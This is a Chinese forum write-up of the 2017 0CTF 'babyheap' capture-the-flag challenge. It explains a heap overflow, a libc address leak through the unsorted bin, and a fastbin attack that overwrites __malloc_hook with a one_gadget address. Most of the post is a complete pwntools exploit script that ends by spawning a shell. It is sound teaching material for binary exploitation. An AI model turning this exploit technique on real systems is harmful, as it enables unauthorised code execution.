-
-
[原创]2017_0ctf_babyheap
-
2020-6-7 15:16 6980
-
小菜鸡做的第一道堆题
保护全开,有这么些功能
申请、填充、释放、查看、退出
在填充(fill)的时候,还要求输入你要填充多少个字节,但是可以输入比申请的大的数
大体思路:
首先泄漏 libc 的地址,当一个 chunk 加入到 unsorted bin 中时,chunk 的 fd 和 bk 指针会指向 main_arena。main_arena 是 libc 中的一个结构体。泄露这个地址就可以计算出真实的 libc 地址了
然后使用 fastbin_attack,分配到 malloc_hook 的区域,然后对这块内存区域修改为 one_gadget 的地址,修改 _malloc_hook 或 free_hook 等等为 one_gadget 地址,再次执行 malloc 的时候就会执行到 one_gadget
思路和解释都在 exp 的注释里面了:
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * p = process('./heap') elf = ELF('./heap') #首先是定义的一些函数,对应着程序的功能 def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() def unsorted_offset_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset #首先申请4个fast chunk和1个small chunk alloc(0x10)#index0 alloc(0x10)#index1 alloc(0x10)#index2 alloc(0x10)#index3 alloc(0x80)#index4 #free两个,这时候会放到fastbins中,而且因为是后进的,所以 #fastbin[0]->index2->index1->NULL free(1) free(2) #这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4 #解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80 #所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中 payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload) #然后再通过index3去进行写入,把index4的大小改成0x21 #这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内 payload = p64(0)*3 payload += p64(0x21) fill(3, payload) #改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了 alloc(0x10) alloc(0x10) #申请成功之后index2就指向index4 #为了让index4能够被放到unsortedbins中,要把它的大小改回来 payload = p64(0)*3 payload += p64(0x91) fill(3, payload) #再申请一个防止index4与top chunk合并了 alloc(0x80) #这时候free就会把index4放到unsorted中了 free(4) #因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了 #main_arena与libc偏移为0x3c4b20(文末有工具算) #再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移 unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白 unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00")) libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena log.info("libc_base: "+hex(libc_base)) #此时因为fastbins中没有了,所以从unsortedbins中找 alloc(0x60) #index2还是指向index4那个地方我们可以先释放index4 free(4) #然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址 #但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小 #这个地址是main_arena-0x40+0xd,具体看后面图片解释 payload = p64(libc_base+0x3c4aed) fill(2, payload) #这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处 alloc(0x60)#index4 alloc(0x60)#index6 #然后往malloc_hook上写one_gadget的地址 payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4526a) fill(6, payload) #再申请一下触发one_gadget alloc(255) p.interactive()
可以看到是由一些 0x7f 的,如果能够通过错位,使得它就是 size 位的话就能通过检查了,所以才有了 main_arena-0x40+0xd
也就是这样,这时候再去写,先写 p8(0)*3 来吧前面错位的纠正过来,然后再写 p64(0)*2 来占空,这时候再写 one_gadget 就是到了 malloc_hook 的位置了
计算的工具:
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2020-6-7 15:19
被yichen115编辑
,原因: 排版
赞赏
他的文章
[原创]一个BLE智能手环的分析
29149
[原创]BLECTF低功耗蓝牙CTF挑战
33294
看原图